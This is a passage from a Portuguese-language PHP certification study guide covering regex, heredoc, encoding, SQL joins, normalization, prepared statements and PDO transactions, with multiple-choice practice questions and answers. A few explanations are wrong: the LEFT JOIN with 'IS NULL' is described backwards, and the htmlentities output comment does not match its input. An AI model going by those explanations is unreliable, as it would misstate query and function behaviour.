Ao invés de utilizar colchetes e a lista de caracteres desejados, podemos utilizar classes de caracteres
pré-definidas internamente:

Classes de caracteres Descrição


\d digito
\D exceto digito
\s espaço
\S sem espaço
\w letra, digito e underscore
\W exceto letra, digito e underscore
. qualquer caracter, inclusive CR (carriage return) e LF (line
feed), caso a constante PCRE_DOTALL esteja configurada

Quantificadores Descrição
* qualquer número de vezes
+ uma ou mais vezes
? zero ou uma vez
{n} n vezes
{n,} pelo menos n vezes
{,m} no máximo m vezes
{n,m} pelo menos n vezes e no máximo m vezes

Expressões alternativas são montadas com pipe |:


Strings e Padrões 261

• /a|b/ faz o match quando houver a ou b


• /[aeiou]|\d/ uma vogal ou um dígito

Como disse o autor Aurélio Marinho Jargas ⁸³, o asterisco é um meta-caracter “guloso”. Ou seja: ele
compara o máximo de conteúdo que puder. Ex.:

1 $conteudo = "<p>Currículo:<ul><li>ZCPE</li><li>ZFCA</li><li>CSM</li></ul></p><p>\
2 Bio</p>";
3 $padrao = "/<.*>/";
4 $comparacoes = array();
5 $achou = preg_match_all($padrao, $conteudo, $comparacoes);
6 echo ($achou) ? "ACHOU" : "NÃO ACHOU";
7 echo "\n";
8 var_dump($comparacoes);

Ao confrontar o padrão /<.*>/ com $conteudo, a função preg_match_all() vai retornar absoluta-
mente tudo: <p>Currículo:<ul><li>ZCPE</li><li>ZFCA</li><li>CSM</li></ul></p><p>Bio</p>,
pois o padrão realmente se confirma.
Para aumentarmos a granularidade, basta adicionarmos o sinal de ? ao asterisco (ou ao sinal de
positivo), transformando o padrão em /<.*?>/. Nesse caso teremos como resultado:

1 (
2 [0] => <p>
3 [1] => <ul>
4 [2] => <li>
5 [3] => </li>
6 [4] => <li>
7 [5] => </li>
8 [6] => <li>
9 [7] => </li>
10 [8] => </ul>
11 [9] => </p>
12 [10] => <p>
13 [11] => </p>
14 )

⁸³http://aurelio.net
Strings e Padrões 262

Como utilizar um trecho de código HTML para ser usado como pattern numa Expressã\
o Regular?

A: preg_split
B: preg_quote
C: ereg_replace
D: strip_tags

Sabemos que determinados caracteres tem efeitos específicos na construção de uma expressão
regular, chamados de metacaracteres, como é o caso de: . \ + * ? [ ^ ] $ ( ) { } = ! < > |
:.

Ao confrontar um padrão que possua conteúdo HTML, prontamente teremos um comportamento


inapropriado pois as tags são formadas por caracteres < e >, bem como o caracter de = que aparece
eventualmente em meio as tags. Então é imprescindível “escapar” tais símbolos para evitar o match
indesejado.
Uma função específica para realizar esse tipo de tarefa é a preg_quote() que escapa todos os
caracteres que possuem sintaxe no contexto de expressões regulares.

1 $html = '<body><h1>Texto</h1><br /><p id="1">Oi</p><hr width="100%"></body>';


2 $htmlpadrao = '<p id="1">Oi</p>';
3 $htmlRegExp = preg_quote($htmlpadrao, "/");
4 $texto = preg_replace("/".$htmlRegExp."/", "<i>Texto ocultado</i>", $html);
5 echo $texto;

No exemplo acima, estamos usando como delimitador o / (barra) no início e fim da expressão regular,
mas nada impede de utilizarmos outros caracteres. Observe que estamos passando a / como segundo
parâmetro de preg_quote() para escapar inclusive esse caractere, caso o encontre. Pois se não o
fizéssemos, o /p do pattern seria entendido como fim da RegExp e provocaria erro, já que não existe
um modificador p.
A sintaxe utilizada para aprofundarmos a busca (de modo que ela seja menos “gulosa”) seria,
por exemplo, /expr1(expr2|expr3)expr4/ - sendo que o PHP permite posteriormente o acesso ao
conteúdo dos parênteses, mais internos.
Para confrontar um padrão, identificar e extrair apenas o desejado, utilizamos a família de funções
preg_*(). A principal delas é preg_match(padrão, string) que retorna 1 caso encontre o padrão,
0 caso não encontre ou false se a expressão regular estiver com erro:
Strings e Padrões 263

Quais das expressões regulares a seguir identificam adequadamente o texto 'Rumo \


à certificação PHP'?
<?php
$texto = 'Rumo à certificação PHP';
$regexp = '______________________';
$match = array();
echo preg_match($regexp, $texto, $match);
?>
[ escolha duas alternativas ]

A: /Rumo à certificação [HP]/ errada


B: /Rumo à certificação [HP]*/ correta
C: /Rumo à certificação P{2}H{1}/ errada
D: /Rumo à certificação php/i correta
E: /$Rumo à certificação PHP/ errada

A alternativa A tenta localizar o caracteres H ou P. Ele até encontrará o termo Rumo à certificação
P, mas faltará o HP final. A alternativa C vai confrontar Rumo à certificação PPH, nessa ordem,
pois utiliza os quantificadores. A opção E utiliza o $ como delimitador, vasculhando a partir do
fim, que não condiz.
Portanto as alternativas corretas são B e D, lembrando que o metacaracter i indica case-insensitive,
sendo asim php (minúsculo) bate com o PHP (maiúsculo).
Outra função extremamente útil, da família da expressões regulares, é a preg_match_all(padrão,
texto, comparacoes_encontradas). Essa função retorna todas as comparações possíveis, embora
seja possível associar em um array enviado como terceiro parâmetro.
Para substituição temos a preg_replace(padrao_de_busca, padrao_de_substituicao, texto),
onde \0 faz referência a comparação completa, a expressão \1 é o primeira sub-correspondência,
\2 a segunda e assim por diante.
Há duas formas de substituição, usando a função preg_replace():

1 echo preg_replace("/PHP \d\.\d/", "PHP 7.1", "A versão vigente é PHP 5.5");
2 //exibe "A versão vigente é PHP 7.1"

1 echo preg_replace( '/(\w+) (\w+)/',


2 '\2, \1',
3 'Ari Stopassola'); //Stopassola, Ari

A função preg_match() estanca assim que encontra a primeira equiparação, enquanto que a função
preg_match_all() continua vasculhando recursivamente e traz todas as combinações possíveis.
Strings e Padrões 264

Outra forma customizada de realizar substituições em expressões regulares é utilizando funções


callback:

1 echo preg_replace_callback("/.*/", "funcao", "CERTIFICAMP ARI JUNIOR");


2
3 function funcao($ocorrencias){
4 return strtolower($ocorrencias[0]);
5 }

A função callback chamada de funcao() recebe o array de combinações bem sucedidas e devolve a
string modificada. Nesse caso certificamp ari junior.

<?php
echo preg_replace(
array("∞", "º", "≠"),
array("infinito", " graus", "diferente"),
"A temperatura de 5º, de 0 a ∞ onde x é ≠ de y.");

A: A temperatura de 5º, de 0 a ∞ onde x é ≠ de y.


B: A temperatura de 5 graus, de 0 a infinito onde x é diferente de y.
C: A temperatura de 5, de 0 a onde x é de y.
D: Mensagem de Warning

A alternativa correta é uma mensagem de Warning (opção D), não relacionado aos caracteres
especiais, mas sim pela falta de delimitadores do padrão.
Se alterássemos a linha array("∞", "º", "≠") por array("/∞/", "/º/", "/≠/") funcionaria
perfeitamente, trazendo o resultado A temperatura de 5 graus, de 0 a infinito onde x é di-
ferente de y..
Vários conjuntos de caracteres podem ser representados através de codificação singlebyte, baseada
em valores de 8-bit. Ex.: idiomas latinos.
Consequentemente outros idiomas exigem mais bits para representá-los, como é o caso do chinês
por exemplo, por conter inúmeros ideogramas.
Dependendo do contexto, funções como substr() e strlen() não funcionam adequadamente.
Então faz-se necessário o uso de funções equivalentes para trabalhar em multibyte. Ex.: funções
mb_substr() e mb_strlen().
O módulo mbstring trabalha com unicode (UTF-8 e UCS-2), que não é padrão na instalação do PHP
e precisa ser habilitado no momento do config, quando compilado.
Uma função bastante util é mb_check_encoding() que verifica se a string é válida perante um
encoding específico.
Strings e Padrões 265

Observe o conteúdo UTF-8 que será igualado com uma expressão regular:
<?php
$conteudo = '6789, áéíóú äëïöü';
echo preg_match('/^\d{4},[\s\p{L}]+$/', $conteudo);

Ao confrontar caracteres especiais na codificação UTF-8, a expressão regular ten\


de a falhar (retornando false).
Qual a flag, colocada após o delimitador de término da expressão regular, que tr\
ata caracteres especiais fazendo com que essa correspondência seja verdadeira?

A: s
B: u
C: g
D: i
E: x

Desde a versão 5.1 do PHP, foi incorporado sequências pré-definidas de caracteres. São elas:

• \p{xx} caracter com a propriedade {xx}


• \P{xx} caracter sem a propriedade {xx}
• \X sequência unicode estendida

Onde {xx} é o tipo de sequência de caracteres como por exemplo: \p{Sm} para símbolos matemáticos,
\p{Lu} para letras maiúsculas (upper case) e várias outras possibilidades http://php.net/manual/pt_
BR/regexp.reference.unicode.php.
Ao executarmos o código, a expressão regular ^\d{4},[\s\p{L}]+$ não faz a match pois a sequência
\p{L} que deveria casar com qualquer caractere áéíóúäëïöü não surtirá efeito. Isso ocorre pois
os símbolos acentuados pertencem ao UTF-8, consequentemente necessitamos de um modificador
especial https://secure.php.net/manual/pt_BR/reference.pcre.pattern.modifiers.php.
O modificador u confere que strings sejam tratadas como charset UTF-8. Sendo assim a resposta
correta é B: u.

HEREDOC e NOWDOC
A sintaxe heredoc é uma forma de atribuir grandes porções de string contendo aspas duplas, sem a
necessidade de escapar tais caracteres.
Imagine que você necessite usar aspas duplas literalmente, tal como elas aparecem. Em condições
normais seria obrigatório concatenar a barra invertida para que as aspas duplas não fossem
consideradas delimitadores de string. Ex.:
Strings e Padrões 266

1 `$texto = "Como disse Steven Wright: "Roubar idéias de uma pessoa é plágio; roub\
2 ar de muitas é pesquisa."";`

Essa expressão gera uma violação de sintaxe e interrompe a execução do script, decorrente da citação
que consta no texto, pois nesse caso gostaria de usar as aspas duplas tal como estão dispostas.
Portanto:

1 `$texto = "Como disse Steven Wright: \"Roubar idéias de uma pessoa é plágio; rou\
2 bar de muitas é pesquisa.\"";`

Heredoc processa strings complexas utilizando tokens como delimitadores. Os tokens são criados
pelo próprio desenvolvedor e jamais podem aparecer no corpo do conteúdo, com penalidade de
quebra na execução (se isso ocorrer).
Inicia com o operador especial <<< seguido pelo token e quebra de linha - nada além disso.
Termina com o token novamente, seguido de ; (ponto-e-vírgula) e quebra de linha.

1 $profissao = "Analista de Sistemas";


2 $minicv = "Bsc, ZCE, ZFC, CSM e MCP";
3 echo <<<TEXTO
4 Profissão é $profissao
5 e seu mini-currículo é: "$minicv"
6 TEXTO;

A saída da execução desse script no navegador é: Profissão é Analista de Sistemas e seu


mini-currículo é: "Bsc, ZCE, ZFC, CSM e MCP".
Observe que as variáveis $profissao e $minicv foram substituídas, enquanto que as aspas duplas
mantém-se preservadas.
Entenda o heredoc e nowdoc (que veremos adiante) como variáveis que armazenam strings multi-
linhas.
Na versão 5.3 do PHP o uso dessa construção possuía uma limitação ao inicializar um atributo de
uma classe. Ex.:

1 class Saudacao {
2 public $msg = <<<EOT
3 Seja bem-vindo
4 EOT;
5 }

Nas versões seguintes, suprimiu-se tal restrição.


Outra sintaxe complementar é a nowdoc, que possui a mesma sintaxe do heredoc, porém o token é
delimitado com aspas simples e não interpreta variáveis. Ou seja, não fazer a substituição.
Strings e Padrões 267

1 $n = "Ari Junior";
2 $mensagem = <<<'FIM'
3 Caro colaborador $n, obrigado pela sua visita.
4 Lembre-se de levar nossa garrafa d'água personalizada.
5 FIM;
6 echo $mensagem;

O código acima exibe: Caro colaborador $n, obrigado pela sua visita. Lembre-se de levar
nossa garrafa d'água personalizada..

A diferença é que $n mantém-se intacto, útil em determinadas situações.

Qual a saída do código a seguir?


<?php
$cliente = "Ari";
$mail = <<<EOT
Olá $n\n
Obrigado por comprar conosco.
EOT;
echo $mail;
?>

A: Olá Ari<quebra de linha>Obrigado por comprar conosco.


B: Olá $n\nObrigado por comprar conosco.
C: Olá $n<quebra de linha>Obrigado por comprar conosco.
D: Parse error

Você poder ser levado a crer que a resposta seria a alternativa A por tratar-se de uma sintaxe heredoc,
onde $n é substituído.
Porém há um erro de sintaxe no que diz respeito ao token de fechamento do delimitador EOT. Veja que
ele está afastado por tab ou espaço e isso impacta na interpretação do parser. Portanto a alternativa
correta é D: Parse error.

Codificação
Como visto anteriormente no tópicos sobre expressões regulares, alguns idiomas podem ser repre-
sentados por símbolos singlebyte, que são baseados em valores de 8-bit (limitados em 256 caracteres)
- como é o caso dos idiomas latinos⁸⁴.
⁸⁴https://pt.wikipedia.org/wiki/Lista_de_idiomas_que_adotam_o_alfabeto_latino.
Strings e Padrões 268

Outros alfabetos, porém, precisam de multibyte para serem representados, como é o caso russo,
grego, hebraico, chinês e outros.
Ao operar em strings contendo idiomas multibyte, necessitamos de uma extensão especial chamada
mbstring. Do contrário, os caracteres terão seu formato corrompido e as funções de strings não
funcionarão adequadamente.
Quando se fala em codificação, outro viés refere-se em como tratar caracteres que trafegam entre
conexões de banco de dados, URLs e páginas web.
Pelo fato do PHP interagir com páginas HTML, endereços web e banco de dados, existem funções
que nos ajudam a trabalhar com todos esses formatos.
Tanto o formato HTML, comandos SQL e URLs usam strings, mas diferem nos caracteres que
transitam em diferentes contextos e necessitam de tratamento. Um espaço, quando no contexto
de endereços web, deve ser transformado para %20, enquanto que o < (menor que) em documentos
HTML deve ser escrito em &alt;.
O PHP possui inúmeras funções para lidar com diferentes tipos de codificação.

Você quer permitir que seus usuários enviem código HTML em um formulário, sendo \
que ele será exibido como código, sem afetar o layout da página.
Quais funções você aplicaria ao texto, ao exibi-lo adequadamente?
[ Escolha 2 ]

A: strip_tags()
B: htmlentities()
C: htmltidy()
D: htmlspecialchars()
E: showhtml()

As respostas corretas são B: htmlentities() e D: htmlspecialchars(), pois ambas trocam enti-


dades HTML por seus equivalentes (exceto o caracter de espaço). Ex.:

1 $n = htmlentities("<a href='t.php' title='Título'>Canção</a>");


2 echo $n; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

Tais funções serão amplamente debatidas no capítulo “Segurança”, por sua importante contribuição
em alguns ataques cibernéticos clássicos.

Simulado
1.
Strings e Padrões 269

O algoritmo pede que um número qualquer seja preenchido com zeros à esquerda enq\
uanto não alcançar 10 dígitos.
Ex.: 4 transforma-se em 0000000004, 6091 em 0000006091 e assim por diante.
Assinale a alternativa correta, identificando se as funções abaixo são verdadeir\
as ou falsas:
( ) str_pad($numero, 10, "0", STR_PAD_LEFT);
( ) sprintf("%010d", $numero);

A: V e V
B: V e F
C: F e V
D: F e F

2.

Em quantos elementos o array $pedacos irá conter depois que essa linha de código\
for executada?
$pedacos = explode("/", "///");

A: 3
B: 5
C: 0
D: 4

3.

O que será exibido ao executar a seguinte função?


printf('%010.6f', 22);

A: 22
B: 22.00
C: 022.000000
D: 22.000000

4.
Strings e Padrões 270

Que partes do texto serão correpondidas pela expressão regular?


<?php
$texto = <<<EOT
Pia tem pinto que toca piano que muito pinga
EOT;

preg_match_all('@p.n[tg].@', $texto, $correspondecias);


print_r($correspondecias);

A: pia pinto piano pinga


B: pinto piano pinga
C: pinto pinga
D: pia pinto piano

5.

Você deseja obter o 3º caracter da string contida na variável $teste.


Qual das seguintes possibilidades abaixo funcionariam?
[ Escolha 2 ]

A: echo $teste(3);
B: echo $teste[2];
C: echo $teste(2);
D: echo $teste{2};
E: echo $teste{3};

Respostas do simulado
1.
Resposta correta é A, pois ambas são verdadeiras.
2.
Resposta é D: 4, pois a função explode() entende que há 4 porções entre as barras /, mesmo que
vazias. Importante lembrar que o conteúdo no início e fim da string também são contabilizados.
3.
Apresenta o número 22 através de 10 caracteres, com preenchimento de zeros a esquerda. Essa
notação é profundamente explicada no tópico “especificadores de string” na documentação oficial
da função sprintf() em: http://php.net/manual/pt_BR/function.sprintf.php.
Strings e Padrões 271

O especificador de tipo f diz que o argumento deve ser tratado como um float, nesse caso com 6
casas decimais.
Então a resposta é C: 022.000000.
4.
A expressão regular @p.n[tg].@ está devidamente delimitada por @ e utiliza apropriadamente os
meta-caracteres.
O padrão requer o caracter p seguido de qualquer coisa (definido pelo ponto .) sucedido por n.
Posteriormente podemo ter o caracter t OU g, seguido de qualquer coisa.
Assim sendo, a alternativa correta é C: pinto pinga, pois as demais palavras não seguem a mesma
combinação.
5.
As opções A e C tentam invocar uma função dinâmica e geram um Fatal error. Call to
undefined function.

A alternativa E pega o 4º caracter, pois indica o índice 3 (zero-based).


Então as alternativas corretas são: B: echo $teste[2]; e D: echo $teste{2};.
Banco de Dados
Bancos de dados foram criados para melhor armazenamento de dados e aumentar a eficiência de
acesso aos dados.
Sistemas Gerenciadores de Bancos de Dados (SGBD) provêem uma estrutura robusta e sofisticada
para persistência de dados, implementando mecanismos de segurança, otimização de acesso,
tolerância a falhas, dentre outros.
O exame é independente de SGBD, por conseguinte significa que não aparecerão questões contendo
um dialeto específico de algum banco de dados. Sequer instruções SQL (Structured Query Language)
que não sejam homologadas pelo padrão instituído pela ANSI⁸⁵. Funções SQL especiais, nativas de
algum banco específico, NÃO fazem parte do exame.
Os bancos de dados relacionais são formados por tabelas, dentre as quais são organizadas em colunas
contendo tipos específicos de dados. Cada linha da tabela representa um registro ou tupla.
Para tornar único um registro na tabela, os bancos de dados relacionais possuem o conceito de chave
primária (Primary Key).
A PK, como é também conhecida, pode ser atribuída a um ou mais campos de modo que os valores
nunca se repitam, tão pouco sejam nulos. Essa característica permite que o SGBD use-a como índice,
agilizando as consultas e identificando pontualmente um registro – útil nas operações de atualização
e exclusão.
Um recurso que viabiliza os relacionamentos entre tabelas são as chaves estrangeiras (Foreign Keys
ou FK), que são as Primary Keys de outra tabela, estabelecendo vínculo com a primeira.
Se houver algum erro de conexão ou execução de uma query, será lançado um objeto PDOException
(derivado da classe Exception, nativa do PHP), logo se consegue controlar o erro utilizando um
bloco try/catch.

SQL
Abaixo segue um exemplo de SQL genérico (ANSI) para criação de uma tabela chamada auditoria:

⁸⁵American National Standards Institute


Banco de Dados 273

1 CREATE TABLE auditoria (


2 id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
3 dia DATE,
4 nome VARCHAR(200),
5 descricao TEXT,
6 ativo BOOL
7 );

Ao executar esse código sob um banco de dados previamente criado, você irá construi uma tabela
chamada auditoria com o campo inteiro id que será auto incrementado (em uma unidade, que é o
comportamento padrão) a cada inserção, seguido do campo dia em formato DATE representado por
yyyy-mm-dd, campo nome que suporta 200 caracteres alfanuméricos, campo descricao que comporta
grandes porções de texto e o campo ativo que armazena um valor booleano.

Tela extraída do aplicativo MySQL Workbench https://www.mysql.com/products/workbench/

Ação Exemplo de SQL


Ler dados do banco SELECT campo1, campo2 FROM tabela WHERE campo3='valor'
Inserir dados no banco INSERT INTO tabela (campo1, campo2) VALUES ('Ari', 39)
Atualizar dados UPDATE tabela SET campo1='valor1', campo2='valor2' WHERE campo3='valor3'
Apagar dados DELETE FROM tabela WHERE campo1='valor1'

Para ordenação de dados de uma consulta SQL, utilize a cláusula ORDER BY seguido do nome do
campo. A ordenação pode ser crescente ou decrescente:

• ASC ascendente (padrão)


• DESC descendente

Ex.: SELECT * FROM tabela ORDER BY coluna DESC;


Outras funções importantes de consulta são as instruções de agregação. Ex.:
Banco de Dados 274

Função Descrição
AVG() Valor da média
COUNT() Número de elementos
DISTINCT COUNT() Número de elementos distintos
MIN() Valor mínimo
MAX() Valor máximo
SUM() Soma dos valores

Junções (Joins)
Dados duplicados desperdiçam espaço, exigem manutenção, provocam perdas e geram inconsistên-
cias.
Dados podem (e devem) estar desmembrados entre diferentes tabelas, através do processo de
normalização de dados (que veremos sucintamente mais adiante), que é uma estratégia para reduzir
o tamanho do BD e facilitar as manutenções.
Observe a ilustração abaixo onde temos a tabela clientes, sendo que o campo hotel armazena o
nome do hotel explicitamente.

Digamos que, porventura, o nome do hotel venha a ser modificado ou mesmo tenha sofrido algum
erro de digitação: na modelagem anterior seria preciso alterar todos os registros, sem falar no
desperdício de espaço tendo que armazenar uma mesma string inúmeras vezes.
Evoluindo um pouco mais na modelagem, percebemos que podendo guardar apenas um código no
campo hoteis_id, desmembrando esse dado em outra tabela, que podemos chamar de Hoteis.
Banco de Dados 275

Na ilustração acima veja que agora temos ainda mais informações a respeito do hotel (como o campo
telefone, por exemplo), melhorando a organização através dessa separação.
O fato de “um hotel hospedar vários clientes” caracteriza uma relação 1:N (lê-se um-para-ene).
Outra relação bastante usual é quando uma entidade vincula outra entidade uma única vez, como
por exemplo “cada colaborador trabalha para uma empresa parceira”. Abaixo segue um exemplo de
como seria o diagrama da relação 1:1 (lê-se um-para-um):

Lembrando que fazer relacionamentos de tabelas para obter os dados corretamente pode ser custoso
computacionalmente, caso os dados estejam muito segmentados (espalhados).
Nos casos que vimos anteriormente, como as relações 1:1 e 1:N, é cenário típico que requer consultas
utilizando JOIN, que literalmente “juntam” dados normalizados (em diferentes tabelas), para formar
a entidade que se deseja obter.
Banco de Dados 276

Obs.: esse assunto, embora co-adjuvante, é corriqueiro no exame. Abaixo segue uma representação
visual das junções SQL, inspirado no artigo Visual Representation of SQL Joins de Christopher
Moffatt @clmoffatt⁸⁶.
Abaixo seguem os principais tipos de junção (join) entre duas ou mais tabelas, com o seus respectivos
diagramas inspirado na teoria dos conjuntos:
A junção LEFT JOIN obtém dados da tabela A mesmo que não haja correspondência em B. Ex.:

1 SELECT campos FROM tabelaA as A LEFT JOIN tabelaB as B ON A.campo = B.campo

LEFT JOIN

A junção RIGHT JOIN obtém dados da tabela B mesmo que não haja correspondência em A. Ex.:

1 SELECT campos FROM tabelaA as A RIGHT JOIN tabelaB as B ON A.campo = B.campo

⁸⁶https://twitter.com/clmoffatt
Banco de Dados 277

RIGHT JOIN

Outra variação de LEFT JOIN é obter dados da tabela A somente quando houver correspondência
em B. Ex.:

1 SELECT campos FROM tabelaA as A LEFT JOIN tabelaB as B ON A.campo = B.campo WHER\
2 E B.campo IS NULL
Banco de Dados 278

A junção INNER JOIN obtém dados da tabela A e B somente quando houver correspondência
simultânea. Ex.:

1 SELECT campos FROM tabelaA as A INNER JOIN tabelaB as B ON A.campo = B.campo

INNER JOIN

Outra variação da junção RIGHT JOIN é obter dados da tabela B somente quando houver correspon-
dência em A e vice-versa. Ex.:

1 SELECT campos FROM tabelaA as A RIGHT JOIN tabelaB as B ON A.campo = B.campo WHE\
2 RE A.campo IS NULL
Banco de Dados 279

RIGHT JOIN obtém dados da tabela B somente quando houver correspondente em A

Dada as tabelas chamadas "nomes" e "emails", respectivamente:


+----+--------+
| id | nome |
+----+--------+
| 1 | Ari |
| 2 | Neto |
| 3 | Paloma |
| 4 | Junior |
| 5 | Laci |
+----+--------+
+----+------------------------+
| id | email |
+----+------------------------+
| 1 | ari@certificamp.com |
| 3 | paloma@certificamp.com |
| 5 | laci@certificamp.com |
| 7 | ariel@certificamp.com |
| 9 | ariane@certificamp.com |
+----+------------------------+
Quantas linhas serão retornadas pela seguinte consulta?
SELECT nomes.nome, emails.email
FROM nomes
LEFT JOIN emails ON emails.id=nomes.id
Banco de Dados 280

A: 3
B: 5
C: 9
D: 10

A consulta LEFT JOIN prioriza a tabela da “esquerda”, àquela que foi referenciada primeiro. Ou
seja: permite que a tabelas nomes retorne linhas mesmo que não haja equivalência na outra tabela
(emails).
O retorno da consulta será 5 tuplas, como visualizado abaixo, portanto a alternativa B é a resposta
correta:

+--------+------------------------+
| nome | email |
+--------+------------------------+
| Ari | ari@certificamp.com |
| Neto | NULL |
| Paloma | paloma@certificamp.com |
| Junior | NULL |
| Laci | laci@certificamp.com |
+--------+------------------------+

Outro tipo de relacionamento é o N:M (lê-se ene-para-eme). Como exemplo, no domínio do turismo,
“pacotes têm passeios e o mesmo passeio compõe vários pacotes”. Veja abaixo como seria o diagrama
Entidade Relacionamento – ER:
Banco de Dados 281

Cenários de exemplo no domínio do Turismo Tipo de relacionamento entre as entidades


Serviço emite nota-fiscal 1:1
Motorista dirige passeio 1:1
Cliente preenche opinários 1:N
Empresa disponibiliza veículos 1:N
Colaboradores indicam clientes N:M
Clientes usam cupons de desconto N:M

Normalização
Este é um tópico bônus, mas é um assunto que justifica o uso de JOINs e considero válido darmos
uma repassada.
O processo de normalização é:

• Pensar em como seus dados se relacionam e na maneira mais eficiente de organizá-los;


• Quebrar os dados baseando-se nas relações lógicas para minimizar a duplicação;
• Dados duplicados desperdiçam espaço e tornam a manutenção um sério problema;
• Ter cada dado em sua respectiva tabela tornariam complexas as operações SQL e exigiria mais
poder computacional para executá-las, portanto requer bom senso.

Na Primeira Forma Normal (1FN) a 1ª regra declara que nenhuma tabela deve repetir colunas que
contenham os mesmos tipos de dados.
Banco de Dados 282

Então primeiramente transformaremos a tabela Serviços, pois o campo Passeio nitidamente se


repete e os campos Guia1 e Guia2 eventualmente geram lacunas - já que nem todos os passeios
necessitam sempre de dois guias:

Ainda na 1FN, a 2ª regra diz que devemos desmembrar em mais campos para evitar dados repetidos
e misturados com outras informações:

Na Segunda Forma Normal continuamos o desmembramento desde que as entidades já estejam em


1FN (requisito para a 2FN):
Banco de Dados 283

A Terceira Forma Normal (3FN) elimina ainda mais dados redundantes ao custo de simplicidade e
performance.
No exemplo abaixo, se você espera que os campos endereço e cidade sofram alterações com
frequência, podem haver erros de soletração e comprometer a consistência dos dados – portanto
é preferível separá-los:

Declarações preparadas
As prepared statements são moldes de instruções SQL que subtituem valores de entrada do usuário.
É definido um espaço reservado (placeholders) para valores armazenados em variáveis, prevenindo
ataques SQL injection e mais eficiente quando a mesma query é reutilizada.
Banco de Dados 284

Os placeholders não podem ser usados para nomes de colunas ou operadores, sendo que valores
não-numéricos são automaticamente encapsulados entre aspas. Ex.:

1 $sql = "SELECT id,nome,profissao


2 FROM usuarios
3 WHERE login= ? AND senha= ?";
4
5 $sql = "SELECT id,nome,profissao
6 FROM usuarios
7 WHERE login= :login AND senha= :senha";

O workflow para uso de declarações preparadas segue a ordem:

1. Prepare a query SQL com os respectivos espaços reservados;


2. Vincule valores aos placeholders;
3. Execute a instrução SQL;
4. Associe (bind) os valores de saída em variáveis [ opcional ];
5. Obtenha (fetch) os resultados.

O passo 4 é opcional e permite vincularmos resultados em variáveis previamente definidas.


Com relação a eficiência a prepared statement requer duas etapas: validação/otimização da query e
substituição de valores.
Quando há repetição de queries a prepared statement analisa e otimiza o SQL apenas uma vez, pois
os valores de cada iteração são tratados separadamente. Declarações não preparadas são analisadas
a cada iteração, consequentemente mais onerosas.
Instruções não preparadas executam as duas etapas de uma só vez, porém são bem mais vulneráveis
de uso desaconselhado.

Transações

É o conjunto de queries que devem ser executadas juntas, sendo que a operação se consolida apenas
se todas as queries do conjunto foram bem sucedidas.
Transações podem ser desfeitas se ocorrer algum erro. Essa operação é chamada de rollback.
Executar instruções SQL encapsuladas em transações é fundamental para operações críticas.
Previne que linhas sejam modificadas por outras conexões em aberto, que porventura estejam
manipulando as mesmas tabelas.
Banco de Dados 285

Transações de Banco de Dados garantem:

A: performance
B: disponibilidade
C: consistência
D: integridade

As transanções garantem consistência, portanto a resposta correta é a alternativa C.


No âmbito do MySQL, embora o exame não peça especificamente, é importante lembrar para utilizar
o recurso de transações os dados deve-se usar o mecanismo de armazenamento InnoDB (e XtraDB
no MariaDB). Obs.: o mecanismo MyISAM (anterior ao MySQL 5.5) não suporta transações.
Importante lembrar que, mesmo utilizando transações, existem alguns comandos SQL que não
podem ser desfeitos, como é o caso do DROP.

1 //Configurando as prepared statements para transferência de dinheiro


2 $dinheiro = 724; //UM salario mínimo
3 $pagante = "Ariel Stopassola";
4 $recebedor = "Ariane Stopassola";
5 $debito = "UPDATE usrs SET honorarios = honorarios - :dinheiro WHERE nome = :pag\
6 ante";
7 $credito = "UPDATE usrs SET honorarios = honorarios + :dinheiro WHERE nome = :re\
8 cebedor";
9
10 $paga = $db->prepare($debito);
11 $paga->bindParam(":dinheiro", $dinheiro);
12 $paga->bindParam(":pagante", $pagante);
13
14 $recebe = $db->prepare($credito);
15 $recebe->bindParam(":dinheiro", $dinheiro);
16 $recebe->bindParam(":recebedor", $recebedor);
17
18 //Início da transação
19 $db->beginTransaction();
20 $paga->execute();
21 if(!$paga->rowCount()){
22 $db->rollBack();
23 $erro = "Falha na transação: não atualizamos a conta do ".$pagante;
24 }
25 else {
Banco de Dados 286

26 $recebe->execute();
27 if(!$recebe->rowCount()){
28 $db->rollBack();
29 $erro = "Falha na transação: não atualizamos a conta do ".$recebedor;
30 }
31 else {
32 $db->commit();
33 }
34 }
35 //Exibe o erro, caso exista
36 if(isset($erro)){
37 echo $erro;
38 }
39 }

Considere $conexao uma instância de PDO, devidamente conectada no banco de dados\


. Analise o seguinte trecho de código:

$conexao->exec("INSERT INTO clientes (nome) VALUES ('Ari')");


$conexao->beginTransaction();
$conexao->exec("INSERT INTO clientes (nome) VALUES ('Ariel')");

O que podemos afirmar como verdadeiro?

A: as duas querys SQL foram executadas com êxito


B: nenhuma foi executada, pois o método adequado é query() ao invés de exec()
C: somente o registro "Ari" foi adicionado na tabela clientes
D: somente o registro "Ariel" foi adicionado na tabela clientes

Primeiramente é importante salientar que o método beginTransaction() da classe PDO desabilita o


autocommit. Isso significa que todas as transações com o BD serão efetivadas quando explicitamente
o desenvolvedor invocar o método commit().
Esse mecanismo é particularmente interessante na execução de querys atômicas, onde várias
instruções SQL devem ser executadas juntas. Do contrário, nenhuma deverá ser consolidada.
Então observem que o commit() não consta no código, consequentemente o segundo INSERT não
será executado. Portanto a alternativa correta é C: somente o registro "Ari" foi adicionado
na tabela clientes, já que nessa primeira query o autocommit estava ligado, então toda execução
é realizada no ato.
Resumindo:
Banco de Dados 287

• Encapsula operações no BD, iniciando por beginTransaction(), para que sejam obrigatoria-
mente executados na íntegra, até o método commit();
• Caso alguma cláusula SQL falhe, o banco mantém-se consistente justamente pelas operações
realizadas até então serão sumariamente desfeitas através do método rollBack();
• Provê isolamento quando aplicações acessam de forma concorrente;
• Executa “tudo ou nada” conhecido como o princípio da atomicidade;
• Certifique-se de que o BD suporte transações, pois o PDO não fornece esse recurso por si só;
• MyISAM ignora (silenciosamente) comandos de transações. Verifique se a estrutura do
MySQL baseia-se em InnoDB.

Atenção: MySQL faz commit automático para comandos DDL: CREATE, ALTER e DROP.

Considere a seguinte tabela contendo vários registros e assuma que o banco de da\
dos suporte transações. Qual o resultado do código PHP a seguir?
+----+--------+------------------------+
| id | nome | email |
+----+--------+------------------------+
| 1 | Ari | ari@certificamp.com |
| 2 | Neto | neto@certificamp.com |
| 3 | Paloma | paloma@certificamp.com |
| 5 | Laci | laci@certificamp.com |
+----+--------+------------------------+
(Assuma que a conexão PDO está devidamente estabelecida)

$dsn = 'mysql:host=localhost;dbname=bancodedados';
$usuario = 'login';
$senha = 'senha';
$pdo = new PDO($dsn, $usuario, $senha);
try {
